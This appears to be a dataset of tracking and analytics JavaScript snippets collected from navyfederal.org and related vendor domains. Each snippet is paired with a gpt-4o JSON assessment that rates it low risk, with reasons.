"nfo:makingcents:privacy-security":["gener0","makin004"], "nfo:makingcents:military-life":["gener0","makin003"], "nfo:makingcents:investing":["gener0","makin005"], "nfo:makingcents:home-ownership":["gener0","makin000"], "nfo:makingcents:credit-debt":["gener0","makin002
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 2, "reasons": "The code includes a condition to validate GPC (Global Privacy Control) status and a script to load Twitter's tracking pixel. The GPC validation and tracking pixel are not inherently malicious. However, the use of external scripts can potentially introduce risks if the external source is compromised. In this case, the risk is minimal as Twitter's tracking pixel is widely used and generally considered safe." }
//// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// !function(e,t,n,s,u,a){e.twq\|\|(s=e.twq=function(){s.exe?s.exe.apply(s,arguments):s.queue.push(arguments); },s.version='1.1',s.queue=[],u=t.createElement(n),u.async=!0,u.src='//static.ads-twitter.com/uwt.js', a=t.getElementsByTagName(n)[0],a.parentNode.insertBefore(u,a))}(window,document,'script'); // Insert Twitter Pixel ID and Standard Event data below twq('init','o4vdx'); twq('track','PageView');}
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The JavaScript code appears to be related to LivePerson, a known customer service and engagement platform. The code is initializing and configuring the LivePerson tag (lpTag) for the site. There are no obvious signs of malicious activity such as data exfiltration, credential stealing, or unauthorized access attempts. The code is primarily setting up event bindings and loading external scripts from a trusted domain (lptag.liveperson.net)." }
var LPsite = '25433816'; if(_satellite.environment.stage.indexOf('production') > -1){ LPsite = '11478817'; } // LPTag window.lpTag = window.lpTag \|\| {}, "undefined" == typeof window.lpTag._tagCount ? (window.lpTag = { site: LPsite \|\| "", section: lpTag.section \|\| "", tagletSection: lpTag.tagletSection \|\| null, autoStart: lpTag.autoStart !== !1, ovr: lpTag.ovr \|\| { domain: 'lptag.liveperson.net', tagjs: 'tags.liveperson.net' }, _v: "1.8.0", _tagCount: 1, protocol: "https:", events: { bind: function (t, e, i) { lpTag.defer(function () { lpTag.events.bind(t, e, i) }, 0) }, trigger: function (t, e, i) { lpTag.defer(function () { lpTag.events.trigger(t, e, i) }, 1) } }, defer: function (t, e) { 0 == e ? (this._defB = this._defB \|\| [], this._defB.push(t)) : 1 == e ? (this._defT = this._defT \|\| [], this._defT.push(t)) : (this._defL = this._defL \|\| [], this._defL.push(t)) }, load: function (t, e, i) { var n = this; setTimeout(function () { n._load(t, e, i) }, 0) }, _load: function (t, e, i) { var n = t; t \|\| (n = this.protocol + "//" + (this.ovr && this.ovr.domain ? this.ovr.domain : "lptag.liveperson.net") + "/tag/tag.js?site=" + this.site); var a = document.createElement("script"); a.setAttribute("charset", e ? e : "UTF-8"), i && a.setAttribute("id", i), a.setAttribute("src", n), document.getElementsByTagName("head").item(0).appendChild(a) }, init: function () { this._timing = this._timing \|\| {}, this._timing.start = (new Date).getTime(); var t = this; window.attachEvent ? window.attachEvent("onload", function () { t._domReady("domReady") }) : (window.addEventListener("DOMContentLoaded", function () { t._domReady("contReady") }, !1), window.addEventListener("load", function () { t._domReady("domReady") }, !1)), "undefined" == typeof window._lptStop && this.load() }, start: function () { this.autoStart = !0 }, _domReady: function (t) { this.isDom \|\| (this.isDom = !0, this.events.trigger("LPT", "DOM_READY", { t: t })), this._timing[t] = (new Date).getTime() }, vars: lpTag.vars \|\| [], dbs: lpTag.dbs \|\| [], ctn: lpTag.ctn \|\| [], sdes: lpTag.sdes \|\| [], hooks: lpTag.hooks \|\| [], ev: lpTag.ev \|\| [] }, lpTag.init()) : window.lpTag._tagCount += 1;// Updated: 2019.01.17 - 111:00 //Updated LPTag 01/30/2023 //window.lpTag=window.lpTag\|\|{},'undefined'==typeof window.lpTag._tagCount?(window.lpTag={wl:lpTag.wl\|\|null,scp:lpTag.scp\|\|null,site:'25433816'\|\|'',section:lpTag.section\|\|'',tagletSection:lpTag.tagletSection\|\|null,autoStart:lpTag.autoStart!==!1,ovr:lpTag.ovr\|\|{},_v:'1.10.0',_tagCount:1,protocol:'https:',events:{bind:function(t,e,i){lpTag.defer(function(){lpTag.events.bind(t,e,i)},0)},trigger:function(t,e,i){lpTag.defer(function(){lpTag.events.trigger(t,e,i)},1)}},defer:function(t,e){0===e?(this._defB=this._defB\|\|[],this._defB.push(t)):1===e?(this._defT=this._defT\|\|[],this._defT.push(t)):(this._defL=this._defL\|\|[],this._defL.push(t))},load:function(t,e,i){var n=this;setTimeout(function(){n._load(t,e,i)},0)},_load:function(t,e,i){var n=t;t\|\|(n=this.protocol+'/
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The JavaScript code modifies the URL of a link by appending a query parameter. This behavior is generally benign and often used for navigation or tracking purposes. There is no indication of malicious intent such as data exfiltration, credential stealing, or unauthorized access." }
// Target test - start var link = document.querySelector("body > div.page-wrap > div:nth-child(2) > header > div > div.global-nav__search-and-nav-container > nav > ul > li:nth-child(1) > details > div > ul > li:nth-child(3) > details > div > div > div > ul > li:nth-child(1) > a"); var linkURL = link.getAttribute('href'); linkURL += (linkURL.indexOf('?') != -1) ? '&nav=ctrl' : '?nav=ctrl'; link.setAttribute('href', linkURL ); // Target test - end
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The script primarily checks for certain conditions related to GPC (Global Privacy Control) status and restricted state, and then loads a Twitter tracking script if conditions are met. The code does not exhibit any obvious malicious behavior. The inclusion of a tracking script from Twitter is considered low risk as per the given instructions." }
_satellite["_runScript4"](function(event, target, Promise) { //// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// !function(e,t,n,s,u,a){e.twq\|\|(s=e.twq=function(){s.exe?s.exe.apply(s,arguments):s.queue.push(arguments); },s.version='1.1',s.queue=[],u=t.createElement(n),u.async=!0,u.src='https://static.ads-twitter.com/uwt.js', a=t.getElementsByTagName(n)[0],a.parentNode.insertBefore(u,a))}(window,document,'script'); twq('config','o4vdx'); } });
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 2, "reasons": "The script primarily checks for certain conditions and loads an external script based on those conditions. It does not appear to perform any obviously malicious actions such as stealing user data or manipulating the DOM in a harmful way. However, it does load an external script from a third-party domain, which could potentially introduce risks if the external script is compromised. The risk score is low but not zero due to the reliance on an external script." }
_satellite["_runScript2"](function(event, target, Promise) { //// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// window._pp = window._pp \|\| []; _pp.brid = "2779"; _pp.brcid = ""; _pp.sessionId = _satellite.getVar("ECID"); _pp.email = ""; _pp.orderValue = ""; _pp.orderId = ""; _pp.offerCode = ""; (function() { var ppjs = document.createElement('script'); ppjs.type = 'text/javascript'; ppjs.async = true; ppjs.src = ('https:' == document.location.protocol ? 'https:' :'http:') +'//cdn.pbbl.co/r/' + _pp.brid + '.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ppjs, s); })(); } });
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The provided JavaScript code checks for certain conditions related to GPC (Global Privacy Control) status and Akamai restricted state. If the conditions are not met, it initializes Google Tag Manager (gtag) for tracking purposes. There is no indication of malicious behavior such as phishing, data exfiltration, or unauthorized access. The code appears to be related to privacy and tracking settings, which is considered low risk." }
//// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'DC-2992003');}
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 2, "reasons": "The code dynamically loads an external script from 'https://utt.impactcdn.com/A4334543-ba62-4b3a-8fd7-189cf833d2dd1.js' based on certain page names. While loading external scripts can be a vector for malicious activity, the URL appears to be related to tracking or advertisement functionality, which is considered no risk in this context. However, the dynamic nature of loading external scripts warrants a low risk score." }
_satellite["_runScript12"](function(event, target, Promise) { /* Excluding Mortgage and Auto Loan for Initial Implementation "nfo:loans-cards:auto-loans" \|\| "nfo:loans-cards:auto-loans:auto-rates" \|\| "nfo:loans-cards:auto-loans:auto-refinance-rates" \|\| "nfo:loans-cards:mortgage" \|\| "nfo:loans-cards:mortgage:mortgage-rates:va-loans */ var pageName = _satellite.getVar('Page Name') if ( pageName == "nfo:membership:become-a-member" \|\| "nfo:loans-cards:credit-cards" \|\| "nfo:loans-cards:credit-cards:cash-rewards" \|\| "nfo:loans-cards:credit-cards:more-rewards" \|\| "nfo:loans-cards:credit-cards:flagship-visa-signature" \|\| "nfo:loans-cards:credit-cards:go-rewards" \|\| "nfo:loans-cards:credit-cards:platinum" \|\| "nfo:loans-cards:credit-cards:offers:cash-rewards"\|\| "nfo:loans-cards:credit-cards:offers:flagship-visa-signature"\|\| "nfo:loans-cards:credit-cards:offers:go-rewards"\|\| "nfo:loans-cards:credit-cards:offers:platinum"\|\| "nfo:loans-cards:credit-cards:nrewards-secured" \|\| "nfo:campaigns:membership:military-appreciation-month" ) { (function(a,b,c,d,e,f,g){e['ire_o']=c;e[c]=e[c]\|\|function(){(e[c].a=e[c].a\|\|[]).push(arguments)};f=d.createElement(b);g=d.getElementsByTagName(b)[0];f.async=1;f.src=a;g.parentNode.insertBefore(f,g);})('https://utt.impactcdn.com/A4334543-ba62-4b3a-8fd7-189cf833d2dd1.js','script','ire',document,window); } });
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The code creates an invisible image element and appends it to the document body, which is a common technique for tracking. The URL used in the image source appears to be for a tracking or synchronization service. There is no immediate indication of malicious behavior such as phishing or data exfiltration. However, it is always advisable to verify the domain 'live.rezync.com' to ensure it is a legitimate service." }
function li_call() { var l = document.createElement("img"); cache_buster = Date.now(); var l_src = "https://live.rezync.com/sync?c=0aa2530f29e4f4a05b5d5d9bb35d60c2&p=93c1662463a616a7155169889dd99651&k=lionly&cache_buster="+cache_buster; l.setAttribute("src", l_src); l.setAttribute("height", "1px"); l.setAttribute("width", "1px"); l.setAttribute("style", "display: none;"); document.body.appendChild(l); } if (["complete", "interactive"].indexOf(document.readyState) >= 0) { li_call(); } else { window.addEventListener("DOMContentLoaded", function(){ li_call(); }); }
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 2, "reasons": "The JavaScript code appears to be part of a legitimate site, likely for tracking user interactions or campaigns. It does not contain any obvious malicious elements such as data exfiltration, credential harvesting, or unauthorized access attempts. The code is primarily checking the page name and sending an 'identify' event with a campaign ID. The customerId and customerEmail fields are empty, indicating no immediate risk of data leakage. However, as a precaution, the presence of tracking functionality is noted." }
/* Excluding Mortgage and AutoLoan for Initial Implementation "nfo:loans-cards:auto-loans" \|\| "nfo:loans-cards:auto-loans:auto-rates" \|\| "nfo:loans-cards:auto-loans:auto-refinance-rates" \|\| "nfo:loans-cards:mortgage" \|\| "nfo:loans-cards:mortgage:mortgage-rates:va-loans" */ var pageName = _satellite.getVar('Page Name'); if(pageName === 'nfo:membership:become-a-member') { ire('identify', { campaignId: '20172', customerId: '', customerEmail: '' }); } else if ( pageName == 'nfo:loans-cards:credit-cards' \|\| pageName == 'nfo:loans-cards:credit-cards:cash-rewards' \|\| pageName == 'nfo:loans-cards:credit-cards:more-rewards' \|\| pageName == 'nfo:loans-cards:credit-cards:flagship-visa-signature' \|\| pageName == 'nfo:loans-cards:credit-cards:go-rewards' \|\| pageName == 'nfo:loans-cards:credit-cards:platinum' ) { ire('identify', { campaignId: '19893', customerId: '', customerEmail: '' }); }
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 2, "reasons": "The script primarily checks for certain conditions and dynamically loads an external script based on those conditions. The use of _satellite.getVar suggests it is part of a tag management system, likely Adobe Launch. The script does not appear to collect sensitive information or perform actions that are inherently malicious. However, dynamically loading external scripts can pose a risk if the external source is compromised. The risk score is low but not zero due to the potential for external script manipulation." }
_satellite["_runScript7"](function(event, target, Promise) { //// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// window._pp = window._pp \|\| []; _pp.brid = "2779"; _pp.brcid = ""; _pp.sessionId = _satellite.getVar("ECID"); _pp.email = ""; _pp.orderValue = ""; _pp.orderId = ""; _pp.offerCode = ""; (function() { var ppjs = document.createElement('script'); ppjs.type = 'text/javascript'; ppjs.async = true; ppjs.src = ('https:' == document.location.protocol ? 'https:' :'http:') +'//cdn.pbbl.co/r/' + _pp.brid + '.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ppjs, s); })(); } });
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 2, "reasons": "The code appears to be part of a customer identification and tracking system, likely for marketing or user experience purposes. It does not directly collect sensitive information such as passwords or financial data. However, it does handle customer IDs and emails, which could be a privacy concern if not properly secured." }
/* Excluding Mortgage and AutoLoan for Initial Implementation "nfo:loans-cards:auto-loans" \|\| "nfo:loans-cards:auto-loans:auto-rates" \|\| "nfo:loans-cards:auto-loans:auto-refinance-rates" \|\| "nfo:loans-cards:mortgage" \|\| "nfo:loans-cards:mortgage:mortgage-rates:va-loans" */ var pageName = _satellite.getVar('Page Name'); if(pageName === 'nfo:membership:become-a-member') { ire('identify', { campaignId: '20172', customerId: '', customerEmail: '' }); } else if ( pageName == 'nfo:loans-cards:credit-cards' \|\| pageName == 'nfo:loans-cards:credit-cards:cash-rewards' \|\| pageName == 'nfo:loans-cards:credit-cards:more-rewards' \|\| pageName == 'nfo:loans-cards:credit-cards:flagship-visa-signature' \|\| pageName == 'nfo:loans-cards:credit-cards:go-rewards' \|\| pageName == 'nfo:loans-cards:credit-cards:platinum'\|\| pageName == 'nfo:loans-cards:credit-cards:offers:cash-rewards'\|\| pageName == 'nfo:loans-cards:credit-cards:offers:flagship-visa-signature'\|\| pageName == 'nfo:loans-cards:credit-cards:offers:go-rewards'\|\| pageName == 'nfo:loans-cards:credit-cards:offers:platinum'\|\| pageName == 'nfo:loans-cards:credit-cards:nrewards-secured' \|\| pageName == 'nfo:campaigns:membership:military-appreciation-month' ) { ire('identify', { campaignId: '19893', customerId: '', customerEmail: '' }); }
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The script appears to be an installation script for Podsights, which is a podcast analytics and attribution service. It loads an external script from a known domain (cdn.pdst.fm) and does not perform any actions that are inherently malicious. The use of a hexadecimal string is for configuration purposes and is not a risk. Overall, the script does not exhibit any malicious behavior." }
_satellite["_runScript10"](function(event, target, Promise) { // Installation script generated by Podsights (function(w, d){ var id='pdst-capture', n='script'; if (!d.getElementById(id)) { w.pdst = w.pdst \|\| function() { (w.pdst.q = w.pdst.q \|\| []).push(arguments); }; var e = d.createElement(n); e.id = id; e.async=1; e.src = 'https://cdn.pdst.fm/ping.min.js'; var s = d.getElementsByTagName(n)[0]; s.parentNode.insertBefore(e, s); } w.pdst('conf', { key: '6f5bfb6da215431da63644d2b94dd910' }); w.pdst('view'); })(window, document); });
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The provided JavaScript code manipulates the DOM by modifying the href attribute of a link and rearranging list items. This behavior is typical for enhancing user navigation or dynamically updating content. There are no indications of malicious activity such as data exfiltration, credential stealing, or unauthorized actions. The risk score is set to 1 due to the potential for misuse in different contexts, but the code itself appears benign." }
// Target test - start var link = document.querySelector("body > div.page-wrap > div:nth-child(2) > header > div > div.global-nav__search-and-nav-container > nav > ul > li:nth-child(1) > details > div > ul > li:nth-child(4) > details > div > div > div > ul > li:nth-child(3) > ul > li:nth-child(4) > a"); var linkURL = link.getAttribute('href'); linkURL += (linkURL.indexOf('?') != -1) ? '&nav=refi' : '?nav=refi'; link.setAttribute('href', linkURL ); var list = document.querySelector("body > div.page-wrap > div:nth-child(2) > header > div > div.global-nav__search-and-nav-container > nav > ul > li:nth-child(1) > details > div > ul > li:nth-child(4) > details > div > div > div > ul > li:nth-child(3) > ul"); var refi = list.getElementsByTagName('li')[3]; var pre = list.getElementsByTagName('li')[1]; list.insertBefore(refi, pre); // Target test - end
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code is primarily for tracking page visits using TVSquared. It includes a condition to check for GPC (Global Privacy Control) status and restricted state before executing the tracking code. There are no indications of malicious behavior such as data exfiltration, credential harvesting, or unauthorized access. The code is focused on tracking and does not pose any security risks." }
_satellite["_runScript8"](function(event, target, Promise) { // Begin TVSquared Page Visits Tracking Code //// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// var _tvq = window._tvq = window._tvq \|\| []; (function() { var u = (("https:" == document.location.protocol) ? "https://collector-11598.tvsquared.com/" : "http://collector-11598.tvsquared.com/"); _tvq.push(['setSiteId', "TV-8181450918-1"]); _tvq.push(['setTrackerUrl', u + 'tv2track.php']); _tvq.push([function() { this.deleteCustomVariable(5, 'page') }]); _tvq.push(['trackPageView']); var d = document, g = d.createElement('script'), s = d.getElementsByTagName('script')[0]; g.type = 'text/javascript'; g.defer = true; g.async = true; g.src = u + 'tv2track.js'; s.parentNode.insertBefore(g, s); })();} // End TVSquared Tracking Code });
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code is primarily for tracking page visits using TVSquared. It includes logic to check GPC (Global Privacy Control) status and only executes the tracking code if certain conditions are met. There are no indications of malicious behavior such as data exfiltration, credential stealing, or unauthorized access. The code is focused on tracking and does not pose a security risk." }
// Begin TVSquared Page Visits Tracking Code //// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// var _tvq = window._tvq = window._tvq \|\| []; (function() { var u = (("https:" == document.location.protocol) ? "https://collector-11598.tvsquared.com/" : "http://collector-11598.tvsquared.com/"); _tvq.push(['setSiteId', "TV-8181450918-1"]); _tvq.push(['setTrackerUrl', u + 'tv2track.php']); _tvq.push([function() { this.deleteCustomVariable(5, 'page') }]); _tvq.push(['trackPageView']); var d = document, g = d.createElement('script'), s = d.getElementsByTagName('script')[0]; g.type = 'text/javascript'; g.defer = true; g.async = true; g.src = u + 'tv2track.js'; s.parentNode.insertBefore(g, s); })();} // End TVSquared Tracking Code
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The code appears to load a script from a third-party domain (cdn.boomtrain.com) and initializes it with a site-specific ID. This behavior is typical for loading external libraries or services, such as personalization or analytics tools. There are no obvious signs of malicious activity, such as data exfiltration or credential harvesting. However, loading external scripts always carries a minimal risk if the third-party service is compromised." }
(function() { var SITEID='navy-federal-credit-union'; (function(b, t, r, a, i, n) { b['bt']=b['bt'] \|\| function() { (b['_bt']=b['_bt']\|\|[]).push(arguments); }, i = t.createElement(r), n = t.getElementsByTagName(r)[0]; i.async = 1; i.src = a; n.parentNode.insertBefore(i, n); })( window, document, 'script', 'https://cdn.boomtrain.com/p13n/'+SITEID+'/p13n.min.js' ); bt('initialize', SITEID, {externalIds: {zync: '357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698'}}); })();
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 2, "reasons": "The code includes a reference to an external script from 'bttrack.com', which could potentially be used for tracking or analytics. However, there is no clear indication of malicious behavior such as data exfiltration or phishing attempts. The use of '_satellite' suggests it is part of a tag management system, which is common in legitimate websites." }
_satellite["_runScript6"](function(event, target, Promise) { //// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// src="https://cdn.bttrack.com/js/15654/analytics/1.0/analytics.min.js" } });
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 2, "reasons": "The script primarily checks for GPC (Global Privacy Control) status and restricted state, and then loads an external script from 'live.rezync.com'. While loading external scripts can be a vector for malicious activity, the specific actions here do not appear inherently malicious. The use of a cache buster and specific identifiers suggests tracking or targeted functionality, which is not considered a risk in this context. However, caution should be exercised with external scripts." }
_satellite["_runScript3"](function(event, target, Promise) { //// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// function zync_call() { var z = document.createElement("script"); var zmpID="navy-federal-credit-union"; var cache_buster="{cache_buster}"; var z_src = "https://live.rezync.com/sync?c=16b6410431b6374e780104abb0443ca8&p=ac2d76520490ec74c91b16b6cd806c4a&k=navy-federal-credit-union-pixel-4762&zmpID="+zmpID+"&cache_buster="+cache_buster; z.setAttribute("src", z_src); document.body.appendChild(z); } if (['complete', 'interactive'].indexOf(document.readyState) >= 0) { zync_call(); } else { window.addEventListener("DOMContentLoaded", function(){ zync_call(); }); } } });
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 2, "reasons": "The script primarily deals with tracking and advertisement functionality, which is considered low risk. It checks for certain conditions before sending data to a tracking URL. There is no apparent malicious behavior such as data exfiltration, credential harvesting, or unauthorized access." }
_satellite["_runScript11"](function(event, target, Promise) { //// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// var img = document.createElement('img'); gtag('event', 'conversion', { 'allow_custom_scripts': true, 'send_to': 'DC-9749892/gener0/nfcu_000+standard' }); img.src="https://ad.doubleclick.net/ddm/activity/src=9749892;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=${GDPR};gdpr_consent=${GDPR_CONSENT_755};ord=1?" img.hidden = true; document.body.appendChild(img); } });
URL: https://nfcu.demdex.net/dest5.html?d_nsid=0#https%3A%2F%2Fwww.navyfederal.org Model: gpt-4o	```json { "riskscore": 2, "reasons": "The provided JavaScript code appears to be part of a legitimate tracking or advertising functionality, specifically related to Demdex, which is a known Adobe Audience Manager service. The code handles cookies, sets secure attributes, and processes messages, which are typical behaviors for tracking scripts. There are no obvious signs of malicious activity such as data exfiltration, credential harvesting, or unauthorized access attempts. However, as with any tracking script, it does collect and process user data, which may be a privacy concern for some users." }
var Demdex={version:"6.2",dest:"5",PROTOCOL:"https:"==document.location.protocol?"https:":"http:",COOKIE_DOMAIN:function(){var a=document.domain;/demdex\.net$/i.test(a)&&(a=".demdex.net");return a}(),SIX_MONTHS_IN_MINUTES:259200,THREAD_YIELDING_DELAY:100,errorReportingEnabled:!1,sent:[],errored:[],timesDextpWasCleared:0,dpids:null,cbmacros:["%timestamp%","%rnd%","%did%","%http_proto%"],validators:{isPopulatedString:function(a){return"string"==typeof a&&a.length}},addListener:function(){if(document.addEventListener)return function(a, b,c){a.addEventListener(b,function(a){"function"==typeof c&&c(a)},!1)};if(document.attachEvent)return function(a,b,c){a.attachEvent("on"+b,function(a){"function"==typeof c&&c(a)})}}(),replaceMacro:function(a){var b;if("%rnd%"==a\|\|"%timestamp%"==a)return""+(new Date).getTime();if("%did%"==a){if(this.dpids===Object(this.dpids)&&this.validators.isPopulatedString(this.dpids.uuid))return this.dpids.uuid;if(b=this.getCookie("demdex"))return b.replace(/==/g,"").replace(/:/,"-")}return"%http_proto%"==a?"https:"== document.location.protocol?"https":"http":a},canSetCookie:function(){var a,b;return navigator.cookieEnabled&&(a=this.getCookie("demdex"),a\|\|(this.setCookie("_dp","1",1,"/",this.COOKIE_DOMAIN,!1),b=this.getCookie("_dp")),a\|\|b)?(this.setCookie("_dp","1",-1E3,"/",this.COOKIE_DOMAIN,!1),!0):!1},getCookie:function(a){a+="=";var b=document.cookie.split(";"),c,g,d;c=0;for(g=b.length;c<g;c++){for(d=b[c];" "==d.charAt(0);)d=d.substring(1,d.length);if(0==d.indexOf(a))return decodeURIComponent(d.substring(a.length, d.length))}return null},setCookie:function(a,b,c,g,d,e){var f=new Date;c&&(c*=6E4);document.cookie=a+"="+b+(c?";expires="+(new Date(f.getTime()+c)).toUTCString():"")+(g?";path="+g:"")+(d?";domain="+d:"")+(e\|\|"https:"===this.PROTOCOL?";secure":"")+";SameSite=None"},sendMessage:function(a){a=encodeURIComponent("---destpub-to-parent---")+a;this.xd.parentUrl\|\|(this.xd.parentUrl=decodeURIComponent(document.location.hash.replace(/^#/,"")));this.xd.postMessage(a,this.xd.parentUrl,parent);return a},onMessage:function(a){try{var b= this.getCookie("demdex")\|\|"",c=this.getCookie("DexLifeCycle")\|\|"";if(!(b.match(/^DID:/)\|\|b.match(/^NOTARGET/)\|\|b.match(/dv2:jY0wRKU\/M28\/lvlLHbINBA==/)\|\|c.match(/^NOTARGET/))){var b=/^---destpub-debug---/,c=/^---destpub---/,g=/^---destpub-combined---/,d=/^---destpub-clear-dextp---/;if("string"!==typeof a)return"Invalid message received";d.test(a)&&(this.setCookie("dextp","",-1E3,"/",this.COOKIE_DOMAIN,!1),this.timesDextpWasCleared++,a=a.replace(d,""));if(b.test(a)\|\|c.test(a)\|\|g.test(a)){if(b.test(a))this.errorReportingEnabled= !0,a=a.replace(b,"");else if(c.test(a))a=a.replace(c,"");else if(g.test(a)){a=a.replace(g,"");var e=a.split("%01");this.processThreadYieldedMessages(e);return}this.processMessage(a)}else return"Invalid message received"}}catch(f){this.fireErrorPixel("Error in Demdex.onMessage function: "+f.message)}},processThreadYieldedMessages:function(a){var b=this;this.processMessage(a.s
URL: https://cdn.pbbl.co/i/pp.html Model: gpt-4o	```json { "riskscore": 2, "reasons": "The code primarily deals with localStorage and message event handling, which are common in web applications. However, it does interact with cookies and localStorage, which could potentially be used for tracking or storing sensitive information. No direct malicious behavior detected." }
!function(e){var t={};function r(n){if(t[n])return t[n].exports;var i=t[n]={i:n,l:!1,exports:{}};return e[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}r.m=e,r.c=t,r.d=function(e,t,n){r.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(r.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var i in e)r.d(n,i,function(t){return e[t]}.bind(null,i));return n},r.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return r.d(t,"a",t),t},r.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r.p="",r(r.s=16)}({16:function(e,t,r){var n=this&&this.__importDefault\|\|function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:!0});var i=n(r(17));function s(){var e;try{e=window.localStorage;var t="__storage_test__";return e.setItem(t,t),e.removeItem(t),!0}catch(t){return t instanceof DOMException&&(22===t.code\|\|1014===t.code\|\|"QuotaExceededError"===t.name\|\|"NS_ERROR_DOM_QUOTA_REACHED"===t.name)&&e&&0!==e.length}}function o(e,t,r){e.source.postMessage({action:"R_PPID",key:t,value:r,version:"1.2"},"")}window.addEventListener("message",(function(e){try{var t=e.data.action,r=e.data.key,n=e.data.value,a=void 0;if(i.default.getParser(window.navigator.userAgent).satisfies({firefox:">73"}))return void o(e,"ppid",a);if("S_PPID"===t)s()&&window.localStorage.setItem(r,n);else if("F_PPID"===t){var u=void 0;if(s()){u=window.localStorage.getItem(r);var d=document.cookie.replace(/(?:(?:^\|.;\s)ppid\s=\s([^;]).$)\|^.$/,"$1");a="OPT-OUT"===d?d:u\|\|d\|\|void 0}o(e,r,a)}}catch(e){}}),!1)},17:function(e,t,r){e.exports=function(e){var t={};function r(n){if(t[n])return t[n].exports;var i=t[n]={i:n,l:!1,exports:{}};return e[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}return r.m=e,r.c=t,r.d=function(e,t,n){r.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=function(e){"undefined"!=typeof 